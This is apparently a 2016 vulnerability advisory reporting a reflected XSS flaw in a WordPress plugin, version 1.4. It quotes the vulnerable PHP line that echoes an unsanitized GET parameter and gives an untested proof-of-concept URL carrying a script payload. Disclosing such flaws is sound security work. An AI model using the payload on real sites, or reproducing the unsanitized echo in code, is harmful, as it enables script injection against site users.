Advisory #: 454
Title: Reflected XSS in wordpress plugin featured-posts-with-multiple-custom-groups-fpmcg v1.4
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/featured-posts-with-multiple-custom-groups-fpmcg
Downloads: 3315
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: featured-posts-with-multiple-custom-groups-fpmcg
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./featured-posts-with-multiple-custom-groups-fpmcg/admin.php: 104: <input type="hidden" id ="post_ID" name="post_ID" value="<?php echo $_GET['ID'];?>" /> The variable ID appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./featured-posts-with-multiple-custom-groups-fpmcg/admin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/featured-posts-with-multiple-custom-groups-fpmcg/admin.php?ID="><script>alert(1);</script><"